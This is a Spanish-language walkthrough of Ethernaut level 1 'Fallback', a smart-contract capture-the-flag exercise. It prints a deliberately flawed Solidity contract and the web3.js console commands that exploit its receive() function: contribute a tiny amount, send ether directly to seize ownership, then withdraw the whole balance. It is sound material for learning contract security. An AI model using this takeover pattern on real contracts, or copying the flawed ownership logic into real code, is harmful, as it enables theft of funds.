Level 1: Fallback
Este es el nivel 1 del juego Ethernaut.
requisitos previos
- Envío de transacciones usando web3.js a un contrato y a una función de pago
- Conversion between units ether & wei
- función Solidity contract fallback
Atajos
contrato dado:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Fallback {
mapping(address => uint) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
el método contract métodos y web3.js pueden ser ejecutadas desde la consola
El player address, debemos convertirla en owner del contrato y luego retirar todo el monto del contrato.
las partes claves son: la funcion contribute y la funcion receive.
En el constructor, se observa que el owner' la contribución es de 1000 eth. Una forma de convertirse en owner es enviar del owner' una contribución eth desde la función contribute. verificamos la contribución del owner eth desde la consola:
ownerAddr = await contract.owner();
await contract.contributions('0x9CB391dbcD447E645D6Cb55dE6ca23164130D008').then(v => v.toString())
// Output '1000000000000000000000'
¡Pero eso sería demasiado eth! No tenemos nada cerca.
Sin embargo, eche un vistazo a la función receive. También tiene código para cambiar de dueño. Según el código, podemos reclamar la propiedad si:
El contrato tiene una contribución distinta de cero por nuestra parte (
player).Luego, enviamos al contrato una cantidad eth distinta de cero.
player la dirección tiene una contribución cero al contrato actualmente, así que satisfagamos la primera condición enviando menos de 0.001 eth (requerido según el código):
await contract.contribute.sendTransaction({ from: player, value: toWei('0.0009')})
Ahora tenemos una contribución distinta de cero que puede verificar mediante:
await contract.getContribution().then(v => v.toString())
Y ahora envíe cualquier cantidad de éter distinta de cero al contrato:
await sendTransaction({from: player, to: contract.address, value: toWei('0.000001')})
Boom! ¡Reclamamos la propiedad del contrato!
Puede verificar que owner es la misma dirección que player por:
await contract.owner()
// Output: Same as player address
Y para el golpe final, retirar todo el saldo del contrato:
await contract.withdraw()
Hecho.
Top comments (0)